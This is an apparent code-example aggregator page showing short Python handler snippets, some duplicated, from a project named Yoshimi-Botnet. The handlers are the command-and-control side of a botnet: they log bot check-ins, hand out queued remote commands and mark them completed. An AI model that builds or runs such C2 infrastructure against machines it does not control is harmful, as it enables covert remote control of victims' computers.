コード例 #1
0
ファイル: BotHandlers.py プロジェクト: ycaihua/Yoshimi-Botnet
 def get(self, *arg, **kwargs):
     ''' Bot reports here when a remote command has been completed successfully '''
     if 0 < RemoteCommand.qsize(self.bot.id):
         remote_command = RemoteCommand.pop(self.bot.id)
         remote_command.completed = True
         self.dbsession.add(remote_command)
         self.dbsession.flush()
     self.write('ok')
     self.finish()
コード例 #2
0
 def get(self, *arg, **kwargs):
     ''' Bot reports here when a remote command has been completed successfully '''
     if 0 < RemoteCommand.qsize(self.bot.id):
         remote_command = RemoteCommand.pop(self.bot.id)
         remote_command.completed = True
         self.dbsession.add(remote_command)
         self.dbsession.flush()
     self.write('ok')
     self.finish()
コード例 #3
0
ファイル: BotHandlers.py プロジェクト: ycaihua/Yoshimi-Botnet
 def get(self, *args, **kwargs):
     ''' Updates the last_seen, sends commands if they exist '''
     self.bot.last_seen = datetime.now()
     if 0 < RemoteCommand.qsize(self.bot.id):
         remote_command = RemoteCommand.pop(self.bot.id)
         self.write(remote_command.command)
     else:
         self.write("nop")
     self.dbsession.add(self.bot)
     self.dbsession.flush()
     self.finish()
コード例 #4
0
 def get(self, *args, **kwargs):
     ''' Updates the last_seen, sends commands if they exist '''
     self.bot.last_seen = datetime.now()
     if 0 < RemoteCommand.qsize(self.bot.id):
         remote_command = RemoteCommand.pop(self.bot.id)
         self.write(remote_command.command)
     else:
         self.write("nop")
     self.dbsession.add(self.bot)
     self.dbsession.flush()
     self.finish()